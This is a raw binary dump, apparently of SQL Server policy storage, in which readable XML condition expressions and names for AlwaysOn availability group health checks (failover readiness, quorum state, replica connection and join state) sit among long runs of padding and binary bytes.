!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!RxT`
ZOu+^8!!!!`"dP;
vdAvailability group errors (any replica role)vlAvailability group errors (primary replica only)vBAvailability replica errors	vDAvailability database errors
vhAvailability group warnings (any replica role)vpAvailability group warnings (primary replica only)vFAvailability replica warnings
vHAvailability database warnings!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Ld`6
ZOu'*^8!!!!`"Pc&p^\n\@AlwaysOnAgAutomaticFailoverHealthConditionsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>OR</OpType>

		  <Count>2</Count>

		  <Group>

			<TypeClass>Bool</TypeClass>

			<Count>1</Count>

			<Operator>

			  <TypeClass>Bool</TypeClass>

			  <OpType>AND</OpType>

			  <Count>2</Count>

			  <Operator>

				<TypeClass>Bool</TypeClass>

				<OpType>EQ</OpType>

				<Count>2</Count>

				<Attribute>

				  <TypeClass>Bool</TypeClass>

				  <Name>IsAutoFailover</Name>

				</Attribute>

				<Function>

				  <TypeClass>Bool</TypeClass>

				  <FunctionType>True</FunctionType>

				  <ReturnType>Bool</ReturnType>

				  <Count>0</Count>

				</Function>

			  </Operator>

			  <Operator>

				<TypeClass>Bool</TypeClass>

				<OpType>GT</OpType>

				<Count>2</Count>

				<Attribute>

				  <TypeClass>Numeric</TypeClass>

				  <Name>NumberOfSynchronizedSecondaryReplicas</Name>

				</Attribute>

				<Constant>

				  <TypeClass>Numeric</TypeClass>

				  <ObjType>System.Double</ObjType>

				  <Value>0</Value>

				</Constant>

			  </Operator>

			</Operator>

		  </Group>

		  <Operator>

			<TypeClass>Bool</TypeClass>

			<OpType>EQ</OpType>

			<Count>2</Count>

			<Attribute>

			  <TypeClass>Bool</TypeClass>

			  <Name>IsAutoFailover</Name>

			</Attribute>

			<Function>

			  <TypeClass>Bool</TypeClass>

			  <FunctionType>False</FunctionType>

			  <ReturnType>Bool</ReturnType>

			  <Count>0</Count>

			</Function>

		  </Operator>

	</Operator>pn\n\=iimq7AlwaysOnDbrJoinStateConditionsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Bool</TypeClass>

			<Name>IsJoined</Name>

		  </Attribute>

		  <Function>

			<TypeClass>Bool</TypeClass>

			<FunctionType>True</FunctionType>

			<ReturnType>Bool</ReturnType>

			<Count>0</Count>

		  </Function>

	</Operator>po\o\B=uuy}AlwaysOnAgWSFClusterHealthConditionsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Numeric</TypeClass>

			<Name>ClusterQuorumState</Name>

		  </Attribute>

		  <Function>

			<TypeClass>Numeric</TypeClass>

			<FunctionType>Enum</FunctionType>

			<ReturnType>Numeric</ReturnType>

			<Count>2</Count>

			<Constant>

			  <TypeClass>String</TypeClass>

			  <ObjType>System.String</ObjType>

			  <Value>Microsoft.SqlServer.Management.Smo.ClusterQuorumState</Value>

			</Constant>

			<Constant>

			  <TypeClass>String</TypeClass>

			  <ObjType>System.String</ObjType>

			  <Value>NormalQuorum</Value>

			</Constant>

		  </Function>

	</Operator>po\p\=uuy}AlwaysOnArConnectionHealthConditionsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Numeric</TypeClass>

			<Name>ConnectionState</Name>

		  </Attribute>

		  <Function>

			<TypeClass>Numeric</TypeClass>

			<FunctionType>Enum</FunctionType>

			<ReturnType>Numeric</ReturnType>

			<Count>2</Count>

			<Constant>

			  <TypeClass>String</TypeClass>

			  <ObjType>System.String</ObjType>

			  <Value>Microsoft.SqlServer.Management.Smo.AvailabilityReplicaConnectionState</Value>

			</Constant>

			<Constant>

			  <TypeClass>String</TypeClass>

			  <ObjType>System.String</ObjType>

			  <Value>Connected</Value>

			</Constant>

		  </Function>

	</Operator>!pp\q\=AAlwaysOnAgReplicasConnectionHealthConditionsasa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Numeric</TypeClass>

			<Name>NumberOfDisconnectedReplicas</Name>

		  </Attribute>

		  <Constant>

			<TypeClass>Numeric</TypeClass>

			<ObjType>System.Double</ObjType>

			<Value>0</Value>

		  </Constant>

	</Operator>#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!E`
ZP*5^8!!!!`"LPdv`AlwaysOnAgAutomaticFailoverHealthConditionvFAlwaysOnDbrJoinStateConditionvRAlwaysOnAgWSFClusterHealthConditionvRAlwaysOnArConnectionHealthCondition vbAlwaysOnAgReplicasConnectionHealthCondition"vtAlwaysOnAgReplicasDataSynchronizationHealthCondition$vVAlwaysOnAgReplicasRoleHealthCondition(vAlwaysOnAgSynchronousReplicasDataSynchronizationHealthCondition*v	LAlwaysOnDbrSuspendStateCondition,v
ZAlwaysOnDbrDataSynchronizationCondition.v&IsHadrEnabled1vTAlwaysOnAgOnlineStateHealthCondition3v
dAlwaysOnArDataSynchronizationHealthCondition5vFAlwaysOnArRoleHealthCondition8vPAlwaysOnArJoinStateHealthCondition;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!